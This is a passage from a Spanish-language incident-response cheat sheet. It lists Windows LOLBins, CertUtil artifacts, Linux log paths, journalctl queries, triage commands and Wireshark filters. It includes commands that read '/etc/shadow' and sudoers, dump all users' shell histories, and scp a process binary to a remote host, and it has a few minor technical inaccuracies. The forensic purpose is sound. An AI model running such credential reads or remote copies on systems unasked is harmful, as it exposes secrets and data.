1630 | Los LOLBins suelen usasarse después de conseguir un acceso inicial a un sistema, normalmente en fases de post-explotación para conseguir una escalada de privilegios (descarga o ejecución arbitraria de otros ficheros o código) debido a otras debilidades adyacentes de configuración en el sistema o también como técnicas de exfiltración de datos. Es muy común ver el uso de más de algún LOLBin como parte de ataques [APT (Advanced Persistent Threat)](https://es.wikipedia.org/wiki/Amenaza_persistente_avanzada) usados por grupos conocidos de ciberdelincuentes que puedan desencadenar una potencial afectación de Ransomware.
1631 |
1632 | Existen multitud de LOLBins tanto para sistemas Windows [LOLBAS](https://lolbas-project.github.io/) como para sistemas basados en el kernel de Linux [GTFOBins](https://gtfobins.github.io/), algunos también afectarían a sistemas MacOS ya que es un derivado de UNIX.
1633 |
1634 | > Los siguientes LOLBins afectan a sistemas Windows siendo **los "LOLBins TOP" más utilizados** y detectados según las estadísticas de los fabricantes de plataformas EDR/XDR en los reportes de incidentes críticos de seguridad en las compañías privadas y administraciones públicas.
1635 |
1636 | Listado de mayor a menor uso:
1637 |
1638 | **`PowerShell.exe`**: Intérprete de línea de comandos y lenguaje de scripting en Windows, utilizado en estos casos para ejecutar scripts maliciosos y comandos.
1639 |
1640 | **`rundll32.exe`**: Utilidad de Windows que carga y ejecuta funciones desde bibliotecas DLL.
1641 |
1642 | **`te.exe`**: Parte del Test Authoring and Execution Framework.
1643 |
1644 | **`PsExec.exe`**: Forma parte de la [suite de Sysinternals](https://learn.microsoft.com/es-es/sysinternals/downloads/psexec), es una herramienta para ejecutar procesos en sistemas remotos.
1645 |
1646 | **`CertUtil.exe`**: Herramienta para gestionar información de las autoridades de certificación.
1647 |
1648 | **Artefactos CertUtil**:
1649 | - Artefactos de proceso: Eventos de creación de procesos (4688) en el registro de eventos de seguridad.
1650 | - Archivos CryptNetURLCache: Rutas donde se guarda la caché guarda una copia de los archivos descargado, metadatos sobre el lugar desde el que se descargó el archivo y la hora de la primera y la última descarga.
1651 |
1652 | ***Evidencias para descargas existosas:***
1653 |
1654 | Contiene copias de cualquier archivo descargado por certutil.
1655 | ```
1656 | C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache
1657 | C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache
1658 | C:\Users\\AppData\LocalLow\Microsoft\CryptnetUrlCache
1659 | ```
1660 |
1661 | Metadata en archivos CryptNetURLCache: Contiene un archivo con información sobre la descarga, como la URL y la fecha.
1662 | ```
1663 | C:\Users\\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
1664 | C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
1665 | C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
1666 | ```
1667 |
1668 | ***Evidencias para descargas fallidas:***
1669 |
1670 | Buscar el registro de Windows en los eventos de Windows Defender el ID 1116 que indica un evento de detección de malware u otro software potencialmente no deseado. Esta actividad está bloqueada de manera predeterminada si RTP (Real Time Protection) está habilitado.
1671 |
1672 | Referencias:
1673 | - Artículo de AbdulRhman Alfaifi sobre como [analizar los archivos de metadatos de certutil](https://u0041.co/posts/articals/certutil-artifacts-analysis/)
1674 | - [CryptnetURLCacheParser](https://u0041.co/posts/articals/certutil-artifacts-analysis/): Herramienta de AbdulRhman Alfaifi para analizar archivos de caché CryptAPI sobre certutil
1675 |
1676 | **`Reg.exe`**: Herramienta para la gestión del registro de Windows desde línea de comandos.
1677 |
1678 | **`wscript.exe`**: Windows Script Host, diseñado para ejecutar scripts en lenguajes de programación.
1679 |
1680 | > **Los siguientes LOLBins también se detectaron aunque en un menor porcentaje de uso** por los sistemas EDR/XDR en los reportes de incidentes críticos de seguridad en las compañías privadas y administraciones públicas.
1681 |
1682 | **`mshta.exe`**: Diseñado para ejecutar archivos de aplicaciones HTML de Microsoft (HTA), puede ejecutar código de Windows Script Host (VBScript y JScript) incrustado en HTML.
1683 |
1684 | **`msiexec.exe`**: Instalador de Windows que puede ser utilizado para ejecutar archivos MSI maliciosos.
1685 |
1686 | **`cscript.exe`**: Intérprete de scripts de Windows que permite la ejecución de scripts VBScript y JScript.
1687 |
1688 | **`netsh.exe`**: Herramienta de configuración de red de Windows que puede ser utilizada para modificar configuraciones de red y establecer túneles.
1689 |
1690 | **`schtasks.exe`**: Utilidad para programar tareas en Windows que puede ser usada para establecer tareas persistentes o maliciosas.
1691 |
1692 | **`excel.exe`**: Aplicación de Microsoft Excel que puede ejecutar macros maliciosas embebidas en documentos.
1693 |
1694 | **`print.exe`**: Comando para gestionar trabajos de impresión, potencialmente explotable para manipular colas de impresión.
1695 |
1696 | **`msbuild.exe`**: Herramienta de compilación de Microsoft que puede compilar y ejecutar código malicioso.
1697 |
1698 | **`powerpnt.exe`**: Aplicación de Microsoft PowerPoint que puede ejecutar macros maliciosas en presentaciones.
1699 |
1700 | **`regsvr32.exe`**: Utilidad para registrar y anular el registro de objetos COM que puede ejecutar scripts maliciosos desde internet.
1701 |
1702 | **`winword.exe`**: Aplicación de Microsoft Word que puede ejecutar macros maliciosas embebidas en documentos.
1703 |
1704 | **`shell32.exe`**: Biblioteca de Windows que contiene funciones usadas para abrir programas y archivos, susceptible a ser explotada para ejecutar comandos arbitrarios.
1705 |
1706 | ## 📁 Linux
1707 |
1708 | ### 📜 Logs del sistema de Linux
1709 |
1710 | Estos ficheros de logs pueden variar, existir o no dependiendo del tipo de distribución del sistema Linux.
1711 |
1712 | | File Path | Info |
1713 | |-----------|------|
1714 | | `/var/log/syslog` | Contiene la totalidad de logs capturados por rsyslogd. Los mensajes globales del sistema incluyendo registros que generan algunos servicios durante el arranque, registros que dejan los programas que se ejecutan por parte del demonio CROND, logs sobre procesos de autenticación llevados a cabo por los usuarios, etc. |
1715 | | `/etc/passwd` | Contiene información sobre cuentas de usuario. |
1716 | | `/etc/shadow` | Contiene información sobre hashes de contraseñas de las cuentas de usuario. |
1717 | | `/etc/group` | Contiene información sobre grupos y miembros de grupos. |
1718 | | `/var/log/auth.log` (Debian y derivados) ; `/var/log/secure` (Red Hat y derivados) | Almacena los eventos relacionados con mecanismos de autenticación, por ejemplo, cuando un usuario inicia sesión en el sistema, cambios en contraseñas, relacionados con sudo. |
1719 | | `/var/log/audit/audit.log` | Los sistemas que utilizan auditd, este registro contiene eventos de seguridad detallados. |
1720 | | `var/log/debug` | Registra datos de los programas que están actuando en modo depuración. De esta forma los programadores pueden obtener información si sus programas están funcionando adecuadamente. |
1721 | | `/var/log/kern.log` | Este fichero almacena los logs producidos por el kernel. Puede ser útil para intentar detectar y solucionar problemas con la detección de hardware. |
1722 | | `/proc/...` | Contiene información información del kernel, hardware, procesos en tiempo real y en general de características y estado del sistema. |
1723 | | `/var/log/dmesg` | Registra información relacionada con el hardware del equipo. Contiene información para concluir si el hardware funciona de forma adecuada. |
1724 | | `/var/log/dpkg.log` | En sistemas basados en Debian se genera este fichero cuando se instala o desinstala software utilizando DPKG. Contiene los registros y eventos producidos durante el proceso de instalación. |
1725 | | `/var/log/messages` | Contiene mensajes informativos y no críticos de la actividad del sistema operativo. Acostumbra a contener los errores que se registran en el arranque del sistema que no estén relacionados con el Kernel. Por lo tanto, si no se inicia un servicio, como por ejemplo el servidor de sonido, podemos buscar información dentro de este archivo. |
1726 | | `/var/log/faillog` | Registra los intentos fallidos de autenticación de cada usuario. Dentro del archivo se almacena una lista de usuarios, los fallos totales de cada usuario, el número de fallo máximos que permitimos y la fecha y hora del último fallo. Si un usuario supera el número de fallos máximos establecidos se deshabilitará el usuario por el tiempo que nosotros fijemos. |
1727 | | `/var/spool/cron` | Archivos crontab para las tareas programadas creadas por todos los usuarios del sistema. |
1728 | | `/etc/crontab` | Archivo crontab para el usuario root a nivel general del sistema. |
1729 | | `/etc/hosts` | Analizar el archivo hosts en busca de posibles manipulaciones de direcciones IP y resolución de nombres. |
1730 | | `/var/log/user.log` | Incluye información sobre los eventos producidos en las sesiones de los usuarios, dichos eventos incluyen errores, conexiones e interfaces de red que se encuentran activas. |
1731 | | `/var/log/lastlog` | Ayuda a ver la fecha y la hora en que cada usuario se ha conectado por última vez. |
1732 | | `/tmp` o `/var/tmp` | Archivos temporales que puedan contener información relevante en un análisis DFIR. |
1733 | | `/var/log/btmp` | Este fichero incluye registros sobre los intentos de autenticación fallido en el sistema. Almacena los intentos fallidos de logins en un equipo. Si alguien realizará un ataque de fuerza bruta a un servidor ssh, el fichero registraría la IP del atacante, el día y hora en que ha fallado el login, el nombre de usuario con que se ha intentado loguear, etc. Para visualizar este fichero usar utmpdump: "utmpdump /var/log/btmp"|
1734 | | `/var/log/wtmp` | Contiene información sobre qué usuarios se encuentran autenticados y usando el sistema actualmente. Equivalente al comando "last"|
1735 | | `/var/run/utmp` | Ver los usuarios que actualmente están logueados en un equipo. |
1736 | | `/var/log/boot.log` | Información relacionada con el arranque del sistema. Podemos consultarlo para analizar si se levantan los servicios del sistema, si se levanta la red, si se montan las unidades de almacenamiento, para averiguar un problema que hace que nuestro equipo no inicie, etc. |
1737 | | `/var/log/cron` | Se trata de un fichero de logs en donde se guardan los registros producidas por las tareas programadas ejecutadas por el demonio CROND. |
1738 | | `/var/log/daemon.log` | Registra la actividad de los demonios o programas que corren en segundo plano. Para ver si un demonio se levanto o está dando errores podemos consultar este log. Dentro de daemon.log encontraremos información sobre el demonio que inicia el gestor de inicio, el demonio que inicia la base de datos de MySQL, etc. |
1739 | | `/var/log/apt/history.log` | Detalle de los paquetes instalados, desinstalados o actualizados mediante el gestor de paquetes apt. |
1740 | | `/var/log/apt/term.log` | Contiene la totalidad de información mostrada en la terminal en el momento de instalar, actualizar o desinstalar un paquete con apt. |
1741 | | `/var/log/mail.log` | Información relacionada con el servidor de email que tengamos instalado en el equipo. En mi caso uso sendmail y registra la totalidad de sus acciones en mail.log. |
1742 | | `/var/log/alternatives.log` | Registra todas las operaciones relacionadas con el sistema de alternativas. Por lo tanto, todas las acciones que realicemos usando el comando update-alternatives se registrarán en este log. El sistema de alternativas permite definir nuestro editor de texto predeterminado, el entorno de escritorio predeterminado, la versión de java que queremos usar por defecto, etc. |
1743 | | `/var/log/Xorg.0.log` | Registra la totalidad de eventos relacionados con nuestra tarjeta gráfica desde que arrancamos el ordenador hasta que lo apagamos. Por lo tanto puede ayudar a detectar problemas con nuestra tarjeta gráfica. |
1744 |
1745 | ### 📜 Logs de aplicaciones de Linux
1746 |
1747 | | File Path | Info |
1748 | |-----------|------|
1749 | | `/var/log/mysqld.log` | Registra eventos y mensajes relacionados con el sistema de gestión de bases de datos MySQL. Contiene información sobre el inicio y apagado del servidor MySQL, consultas ejecutadas, errores y advertencias, así como cualquier actividad relevante en la base de datos. |
1750 | | `/var/log/rkhunter.log` | Registra la totalidad de resultados obtenidos por rkhunter. |
1751 | | `/var/log/samba/*.*` | Dentro de la ubicación "/var/log/samba" se encuentran distintos logs que registrarán los eventos que han ocurrido en nuestro servidor samba. Algunos de los registros que encontrarán son sobre creaciones de directorios, renombrado de archivos, ficheros creados y borrados, registros de conexiones y desconexiones al servidor, etc. |
1752 | | `/var/log/cups/*.*` | **"error_log"**, **"page_log"** y **"access_log"** contienen información acerca las horas en que una IP se ha conectado al servidor, el usuario que se ha conectado al servidor, los errores y advertencias del servidor, la fecha en que se ha imprimido un determinado documento, el número de copias, etc. |
1753 | | `/var/log/lighttpd/*.*` | **"access.log"** y **"error.log"** contienen información sobre las visitas y errores que se generan cuando un usuario visita una página web montada sobre un servidor lighttpd. |
1754 | | `/var/log/apache2/access.log` o `/var/log/httpd/access_log` | Contiene información de los usuarios que han accedido al servidor web Apache. En este fichero se encuentran datos como las webs que se han visitado desde una determinada IP, la hora en que una IP nos ha visitado, etc. |
1755 | | `/var/log/apache2/error.log` o `/var/log/httpd/error_log` | Registra la totalidad de errores cuando se procesan las solicitudes de los visitantes al servidor web Apache. |
1756 | | `/var/log/nginx/access.log` `/var/log/nginx/error.log` | **"access.log":** Registra las solicitudes al servidor Nginx, incluyendo detalles sobre la solicitud, dirección IP y código de respuesta HTTP, user-agent del cliente y más. **"error.log":** Registra los errores en el servidor Nginx, como problemas de configuración, errores de conexión y otros fallos técnicos. |
1757 | | `/var/log/prelink/` | Contiene información sobre las modificaciones que la utilidad prelink realiza a los binarios y librerías compartidas. |
1758 | | `/var/log/mysql/mysql.log` | Registra la totalidad de sentencias que los clientes envían al servidor. |
1759 | | `/var/log/mysql/error.log` | Registra los errores o problemas detectados al iniciar, ejecutar o parar el servicio. Por lo tanto en el caso que MySQL o MariaDB no se inicien deberemos acceder a este fichero para obtener información del problema. |
1760 | | `/var/log/mysql/mysql-slow.log` | Encontraremos información acerca de las sentencias que han tardado más segundos que los especificados en la variable del sistema long_query_time. De esta forma podremos conocer la sentencias SQL que se ejecutan de forma lenta. |
1761 | | `/var/log/fail2ban.log` | Registra el timestamp en el que una determinada IP ha sido bloqueada y desbloqueada al intentar acceder a un determinado servicio, normalmente SSH. |
1762 | | `/var/log/openvpn.log` | La hora en la que una determinada IP se ha conectado al servidor OpenVPN. Aunque para registrar los intentos fallidos de autenticación también se podría hacer uso de fail2ban. |
1763 | | `/var/log/openvpn-status.log` | Contiene información de los usuarios conectados al servidor OpenVPN. Ejemplos de la información que contiene es la IP de cada uno de los usuarios, la cuenta de usuario con que se ha conectado una determinada IP, la hora en que cada usuario ha iniciado la conexión, etc. |
1764 | | `/var/log/letsencrypt/letsencrypt.log` | Contiene todo tipo de información acerca de los certificados de Let's Encrypt. Por ejemplo si se han producido errores en la renovación de los certificados. |
1765 |
1766 | ### 📜 Logs journalctl (systemd)
1767 | **Systemd**: es un sistema moderno en Linux que reemplaza a SysV init, mejorando la eficiencia del inicio y administración de servicios. SysV representa tanto al sistema operativo Unix System V como a un estilo de inicio basado en scripts de inicialización tradicionales, "init.d" gestiona servicios en sistemas con este enfoque. Systemd introduce herramientas como "journalctl", permitiendo acceder y analizar eficientemente registros estructurados del sistema.
1768 |
1769 | **Journalctl**: es una herramienta en Linux que trabaja con el registro de systemd, brindando acceso a registros estructurados en el Journal de systemd. Facilita consultas y análisis avanzados de eventos del sistema mediante registros binarios estructurados, en contraste con los registros de texto plano tradicionales.
1770 |
1771 | Configurar la hora del sistema para visualizar los registros en hora UTC o local systemd mostrará los resultados en hora local de manera predeterminada.
1772 | ```bash
1773 | timedatectl list-timezones
1774 | timedatectl set-timezone
1775 | timedatectl status
1776 | ```
1777 |
1778 | Filtrar por prioridad.
1779 | ```bash
1780 | Journalctl -p
1781 | # 0: emerg
1782 | # 1: alert
1783 | # 2: crit
1784 | # 3: err
1785 | # 4: warning
1786 | # 5: notice
1787 | # 6: info
1788 | # 7: debug
1789 | ```
1790 |
1791 | Filtrar por fecha/hora y rangos.
1792 | ```bash
1793 | journalctl --since "YYYY-MM-DD"
1794 | journalctl --since "YYYY-MM-DD HH:MM:SS"
1795 | journalctl --since "-5 day"
1796 | journalctl --until "YYYY-MM-DD"
1797 | journalctl --since "YYYY-MM-DD HH:MM:SS" --until "YYYY-MM-DD HH:MM:SS"
1798 | ```
1799 |
1800 | Mostrar las 20 entradas más recientes.
1801 | ```bash
1802 | journalctl -n 20
1803 | ```
1804 |
1805 | Hacer un seguimiento de los registros a tiempo real (equivalente a tail -f).
1806 | ```bash
1807 | journalctl -f # Equivalente a "journalctl" y después presionar "Shift+F".
1808 | ```
1809 |
1810 | Mostrar la lista de todos los boots que existen en el sistema.
1811 | ```bash
1812 | journalctl --list-boots
1813 | ```
1814 |
1815 | Mostrar resgistros de kernel.
1816 | ```bash
1817 | journalctl -k
1818 | ```
1819 |
1820 | Mostrar los registros de la sesión de inicio anterior para rastrear eventos previos al reinicio del sistema.
1821 | ```bash
1822 | journalctl -b -1
1823 | ```
1824 |
1825 | Mostrar los servicios que son dependientes del systemd.
1826 | ```bash
1827 | systemctl list-units -t service --all
1828 | ```
1829 |
1830 | Filtrar por servicios.
1831 | ```bash
1832 | journalctl -u sshd.service
1833 | journalctl -u sshd.service -u dbus.service
1834 | journalctl -u sshd.service --since today
1835 | ```
1836 |
1837 | Cambiar el formato en los resultados de salida.
1838 | ```bash
1839 | journalctl -b -u nginx -o json
1840 | journalctl -b -u nginx -o json-pretty
1841 | journalctl -b -u nginx -o short # Resultado similar a un estilo syslog.
1842 | ```
1843 |
1844 | Filtrar por proceso, usuario, grupo o servicio.
1845 | ```bash
1846 | journalctl _PID=
1847 | journalctl _UID=
1848 | journalctl _GID=
1849 | journalctl _COMM=
1850 | # Para filtrar resultados del día actual: --since today
1851 | ```
1852 |
1853 | Mostrar registros de los discos.
1854 | ```bash
1855 | journalctl /dev/sda
1856 | ```
1857 |
1858 | Mostrar un resultado de salida estándar.
1859 | ```bash
1860 | journalctl --no-pager
1861 | ```
1862 |
1863 | Eliminar y guardar registros antiguos.
1864 | ```bash
1865 | # Eliminar entradas antiguas hasta que el espacio total del diario ocupe lo solicitado.
1866 | sudo journalctl --vacuum-size=1G
1867 |
1868 | # Guardar las entradas del último año.
1869 | sudo journalctl --vacuum-time=1years
1870 | ```
1871 |
1872 | Analizar eventos de inicio y apagado del sistema.
1873 | ```bash
1874 | journalctl _SYSTEMD_UNIT=systemd-logind.service
1875 | ```
1876 |
1877 | Mostrar eventos de modificación de archivos relacionados con su eliminación (rm).
1878 | ```bash
1879 | journalctl /usr/bin/rm
1880 | ```
1881 |
1882 | Buscar intentos de elevación de privilegios.
1883 | ```bash
1884 | journalctl | grep "sudo"
1885 | ```
1886 |
1887 | Mostrar eventos de modificación de archivos de registro.
1888 | ```bash
1889 | journalctl /var/log/audit/audit.log
1890 | journalctl /usr/bin/journalctl
1891 | ```
1892 |
1893 | Buscar eventos de ejecución de programas en directorios temporales.
1894 | ```bash
1895 | journalctl _COMM="mv" OR _COMM="cp" | grep "/tmp/"
1896 | ```
1897 |
1898 | Analizar cambios en archivos de configuración de servicios.
1899 | ```bash
1900 | journalctl /etc/nginx/nginx.conf
1901 | ```
1902 |
1903 | Mostrar cambios en archivos de configuración.
1904 | ```bash
1905 | journalctl /usr/bin/vi
1906 | journalctl /usr/bin/vim
1907 | journalctl /usr/bin/nano
1908 | ```
1909 |
1910 | Filtrar por eventos de inicio de sesión fallidos en SSH.
1911 | ```bash
1912 | journalctl _SYSTEMD_UNIT=sshd.service | grep "Failed password"
1913 | ```
1914 |
1915 | Mostrar eventos de inicio de sesión de usuarios remotos.
1916 | ```bash
1917 | journalctl _SYSTEMD_UNIT=sshd.service | grep "Accepted"
1918 | ```
1919 |
1920 | Buscar eventos de ejecución de comandos de shell.
1921 | ```bash
1922 | journalctl _COMM="bash" OR _COMM="sh"
1923 | ```
1924 |
1925 | Mostrar eventos de montaje y desmontaje de dispositivos.
1926 | ```bash
1927 | journalctl _COMM="mount" OR _COMM="umount"
1928 | ```
1929 |
1930 | Mostrar eventos de cambios de permisos en archivos.
1931 | ```bash
1932 | journalctl _COMM="chmod" OR _COMM="chown"
1933 | ```
1934 |
1935 | Mostrar eventos de inicio de sesión exitosos.
1936 | ```bash
1937 | journalctl SYSLOG_FACILITY=4
1938 | ```
1939 |
1940 | Mostrar cambios en cronjobs.
1941 | ```bash
1942 | journalctl /usr/sbin/cron
1943 | ```
1944 |
1945 | ### 📜 Copiar un binario malicioso ya eliminado a través de su proceso todavía en ejecución
1946 |
1947 | Aunque se elimne el binario del proceso del malware, todavía está en el espacio del kernel. Por lo tanto, se puede usar el comando *scp* para copiar directamente un binario de proceso sospechoso de Linux.
1948 |
1949 | ```bash
1950 | scp /proc//exe user@ip:/recovered_binary
1951 | ```
1952 |
1953 | ### 📜 Identificar y obtener archivos con PID de procesos maliciosos (conexiones SSH Linux)
1954 |
1955 | Se conectaron al sistema a través de SSH e iniciaron procesos maliciosos. Incluso, si eliminaron el historial de comandos.
1956 |
1957 | Esta es una forma de obtener archivos con PID de procesos maliciosos (similar a casos de notty SSH)
1958 |
1959 | ```bash
1960 | grep -l SSH_C /proc/*/environ
1961 | ```
1962 |
1963 | ### 📜 Recopilar información en un primer análisis de respuesta a incidentes (sistema Linux)
1964 |
1965 | Buscar archivos legibles en el directorio /etc/.
1966 | ```bash
1967 | find /etc/ -readable -type f 2>/dev/null
1968 | ```
1969 |
1970 | Buscar archivos modificados en los últimos 2 días o N días.
1971 | ```bash
1972 | find / -mtime -2 -ls
1973 | find / -mtime -[N]
1974 | ```
1975 |
1976 | Buscar un archivo específico.
1977 | ```bash
1978 | find / -name [ARCHIVO]
1979 | updatedb ; locate [ARCHIVO]
1980 | ```
1981 |
1982 | Buscar archivos de más de N bytes.
1983 | ```bash
1984 | find / -size +[N]c
1985 | ```
1986 |
1987 | Mostrar todas las reglas iptables.
1988 | ```bash
1989 | iptables -L -n -v
1990 |
1991 | # Debian/Ubuntu
1992 | cat /etc/iptables/rules.v4
1993 | cat /etc/iptables/rules.v6
1994 |
1995 | # Red Hat/CentOS
1996 | cat /etc/sysconfig/iptables
1997 | ```
1998 |
1999 | Mostrar el estado de todos los servicios.
2000 | ```bash
2001 | service --status-all
2002 | ```
2003 |
2004 | Listar los servicios en ejecución (systemd).
2005 | ```bash
2006 | systemctl list-units --type=service
2007 | ```
2008 |
2009 | Listar procesos en formato de árbol con PIDs.
2010 | ```bash
2011 | pstree -p
2012 | ```
2013 |
2014 | Listar procesos en formato personalizado.
2015 | ```bash
2016 | ps -eo pid,tt,user,fname,rsz
2017 | ```
2018 |
2019 | Listar archivos abiertos asociados a conexiones de red.
2020 | ```bash
2021 | lsof -i
2022 | ```
2023 |
2024 | Listar el proceso/servicio escuchando en un puerto concreto.
2025 | ```bash
2026 | lsof -i:[PUERTO]
2027 | ```
2028 |
2029 | Listar archivos abiertos para un proceso.
2030 | ```bash
2031 | lsof -p [PID]
2032 | ```
2033 |
2034 | Mostrar información de memoria.
2035 | ```bash
2036 | cat /proc/meminfo
2037 | ```
2038 |
2039 | Mostrar sistemas de archivos montados.
2040 | ```bash
2041 | cat /proc/mounts
2042 | ```
2043 |
2044 | Buscar cuentas root.
2045 | ```bash
2046 | grep :0: /etc/passwd
2047 | ```
2048 |
2049 | Buscar archivos sin usuario.
2050 | ```bash
2051 | find / -nouser -print
2052 | ```
2053 |
2054 | Listar contraseñas cifradas e información de expiración de cuentas.
2055 | ```bash
2056 | cat /etc/shadow
2057 | chage --list [USUARIO]
2058 | ```
2059 |
2060 | Listar información de grupos del sistema y servicio.
2061 | ```bash
2062 | cat /etc/group
2063 | ```
2064 |
2065 | Listar el archivo sudoers, comprobar usuarios que puedan elevarse en contexto privilegiado.
2066 | ```bash
2067 | cat /etc/sudoers
2068 | ```
2069 |
2070 | Listar cuentas de usuario y servicio.
2071 | ```bash
2072 | cat /etc/passwd
2073 | ```
2074 |
2075 | Listar el estado de la contraseña de un usuario.
2076 | ```bash
2077 | passwd -S [USUARIO]
2078 | ```
2079 |
2080 | "Listar inicios de sesión más recientes.
2081 | ```bash
2082 | lastlog
2083 | ```
2084 |
2085 | Listar los últimos usuarios conectados.
2086 | ```bash
2087 | last
2088 | ```
2089 |
2090 | Listar quién está conectado y que procesos está ejecutando.
2091 | ```bash
2092 | who
2093 | w
2094 | ```
2095 |
2096 | ### 📜 Historial de comandos de la Shell de Linux (.bash_history & .zsh_history)
2097 |
2098 | Realizar un backup del historial de comandos ejecutados por todos los usuarios del sistema, incluido el usuario /root, donde están creados los ficheros: `.bash_history` o `.zsh_history`.
2099 | ```bash
2100 | for i in /home/* /root; do [ -d "$i" ] && { [ -s "$i"/.bash_history ] || [ -s "$i"/.zsh_history ]; } && { [ -f "$i"/.bash_history ] && cat "$i"/.bash_history || true; [ -f "$i"/.zsh_history ] && cat "$i"/.zsh_history || true; } > "$(basename "$i")_history_backup.txt"; done
2101 | ```
2102 |
2103 | ### 📜 Voldado de todos los directorios y ficheros de Linux
2104 |
2105 | ```bash
2106 | find / -type f 2> /dev/null > dump_sys_files.txt
2107 | find / -type d 2> /dev/null > dump_sys_dirs.txt
2108 | ```
2109 |
2110 | ### 📜 Volcado de Memoria RAM en Linux con LiME (Linux Memory Extractor)
2111 |
2112 | **LiME** es un LKM (Loadable Kernel Module) que permite la adquisición de memoria volátil de Linux y dispositivos basados en Linux como sistemas móviles Android. Permite capturas de memoria más sólidas que otras herramientas desde el punto de vista forense.
2113 |
2114 | Una vez instalado LiME y cargado el módulo en el kernel en formato lime podemos analizarlo posteriormente con **Volatility**.
2115 | ```bash
2116 | apt install build-essential linux-headers-(uname -r) ; git clone https://github.com/504ensicsLabs/LiME ; cd Lime/src ; make
2117 | sudo insmod lime-3.5.0-23-generic.ko "path=/media/Forensics/ram.lime format=lime"
2118 | ```
2119 |
2120 | ### 📜 Comprobar si un usuario ejecutó el comando "sudo"
2121 |
2122 | En un escenario en el que un posible atacante creó un nuevo usuario y eliminó el historial de comandos, pero aún no se puede confirmar si el atacante obtuvo privilegios de root ejecutando el comando "sudo".
2123 |
2124 | Verificar si el archivo **".sudo_as_admin_successful"** está en el directorio de inicio del usuario. Si se encuentra, entonces el atacante ejecutó el comando "sudo".
2125 |
2126 | ### 📜 Detectar malware Linux fileless (memfd)
2127 |
2128 | Estos malware asignan bytes maliciosos en la memoria y se ejecutan. Una forma de detección es usar *memfd* para cualquier proceso y esto nos puede indicar malware sin archivos (fileless).
2129 |
2130 | ```bash
2131 | cat /proc/*/maps | grep "memfd"
2132 | ```
2133 |
2134 | ## 📁 Redes
2135 |
2136 | ### 📜 Filtros Wireshark para analistas
2137 |
2138 | - Referencia Wireshark: https://www.wireshark.org/docs/dfref
2139 | - Brim Zed (herramienta que simplifica el análisis de datos superestructurados .pcapng): https://www.brimdata.io/download
2140 |
2141 | Filtrar por dirección IP. Donde "x.x.x.x" es la dirección IP que desea filtrar.
2142 | ```
2143 | ip.addr == x.x.x.x
2144 | ```
2145 |
2146 | Filtrar por rango de direcciones IP. Donde "x.x.x.x" e "y.y.y.y" son las direcciones IP inicial y final del rango.
2147 | ```
2148 | ip.addr >= x.x.x.x and ip.addr <= y.y.y.y
2149 | ```
2150 |
2151 | Filtrar por interfaz de red. Mostrar sólo los paquetes capturados en la interfaz eth0.
2152 | ```
2153 | interface == eth0
2154 | ```
2155 |
2156 | Filtrar por puerto. Donde "80" y "53" son los números de puerto que desees filtrar.
2157 | ```
2158 | tcp.port == 80
2159 | udp.port == 53
2160 | ```
2161 |
2162 | Filtrar por longitud del paquete. Mostrar sólo los paquetes de más de 100 bytes.
2163 | ```
2164 | frame.len > 100
2165 | ```
2166 |
2167 | Filtrar por dirección MAC de origen o destino. Donde "xx:xx:xx:xx:xx:xx" es la dirección MAC origen y destino que desees filtrar.
2168 | ```
2169 | eth.src == xx:xx:xx:xx:xx:xx
2170 | eth.dst == xx:xx:xx:xx:xx:xx
2171 | ```
2172 |
2173 | Filtrar por método HTTP. Mostrar sólo los paquetes con método GET. Puede sustituir GET por otros métodos HTTP como POST, PUT, DELETE, etc.
2174 | ```
2175 | http.request.method == GET
2176 | http.request.method == POST && frame contains "login"
2177 | ```
2178 |
2179 | Filtrar por códigos de estado HTTP.
2180 | ```
2181 | # Respuestas Ok.
2182 | http.response.code == 200
2183 |
2184 | # Respuestas de redireccionamiento. 301 redirección permanente y 302 redirección temporal.
2185 | http.response.code == 301 or http.response.code == 302
2186 |
2187 | # Respuestas de error "Not Found".
2188 | http.response.code == 404
2189 | ```
2190 |
2191 | Filtrar por URI HTTP. Mostrar sólo los paquetes que tienen un URI que contiene "domain.com". Puede sustituir "domain.com" por cualquier otra cadena URI.
2192 | ```
2193 | http.request.uri contains 'domain.com'
2194 | ```
2195 |
2196 | Filtrar por cookie HTTP. Mostrar sólo los paquetes que contienen una cookie con el nombre "sessionid".
2197 | ```
2198 | http.cookie contains 'sessionid'
2199 | ```
2200 |
2201 | Filtrar por tamaño de paquete. Mostrar sólo los paquetes de más de 1000 bytes.
2202 | ```
2203 | frame.len > 1000
2204 | ```
2205 |
2206 | Filtrar por aquellos paquetes que contengan el término especificado
2207 | ```
2208 | tcp contains 'TERMINO'
2209 | ```
2210 |
2211 | Filtrar todos los paquetes que no utilicen el protocolo ARP, ICMP, DNS, SSDP o UDP.
2212 | ```
2213 | !(arp or icmp or dns or ssdp or udp)
2214 | ```
2215 |
2216 | Filtrar todos los paquetes cuyo puerto TCP origen o destino sea 22 o 443.
2217 | ```
2218 | (tcp.port in {22 443})
2219 | ```
2220 | Filtros DNS.
2221 | ```
2222 | # Paquetes DNS que tengan un nombre de dominio que contenga "domain.com"
2223 | dns.qry.name contains 'domain.com'
2224 | dns.resp.name == domain.com
2225 |
2226 | # Consulta/respuesta de puntero DNS (PTR, DNS Inverso)
2227 | dns.qry.type == 12
2228 |
2229 | # Consultas MX
2230 | dns.qry.type == 15
2231 |
2232 | # Solo consultas DNS.
2233 | dns.flags.response == 0
2234 |
2235 | # Solo consultas de respuesta DNS.
2236 | dns.flags.response eq 1 # only DNS response queries
2237 |
2238 | # Errores DNS.
2239 | dns.flags.rcode != 0 or (dns.flags.response eq 1 and dns.qry.type eq 28 and !dns.aaaa)
2240 |
2241 | # NXDominio no existente.
2242 | dns.flags.rcode == 3
2243 |
2244 | # No Error, nslookup microsoft.com 193.247.121.196.
2245 | ((dns.flags.rcode == 3) && !(dns.qry.name contains ".local") && !(dns.qry.name contains ".svc") && !(dns.qry.name contains ".cluster"))
2246 | (dns.flags.rcode == 0) && (dns.qry.name == "microsoft.com")
2247 |
2248 | dns.flags.rcode != 0 or (dns.flags.response eq 1 and dns.qry.type eq 28 and !dns.aaaa)
2249 | ```
2250 |
2251 | Filtros TLS.
2252 | ```
2253 | # TLS handshake.
2254 | tls.record.content_type == 22
2255 |
2256 | # Filtrar por tipo de handshake SSL/TLS.
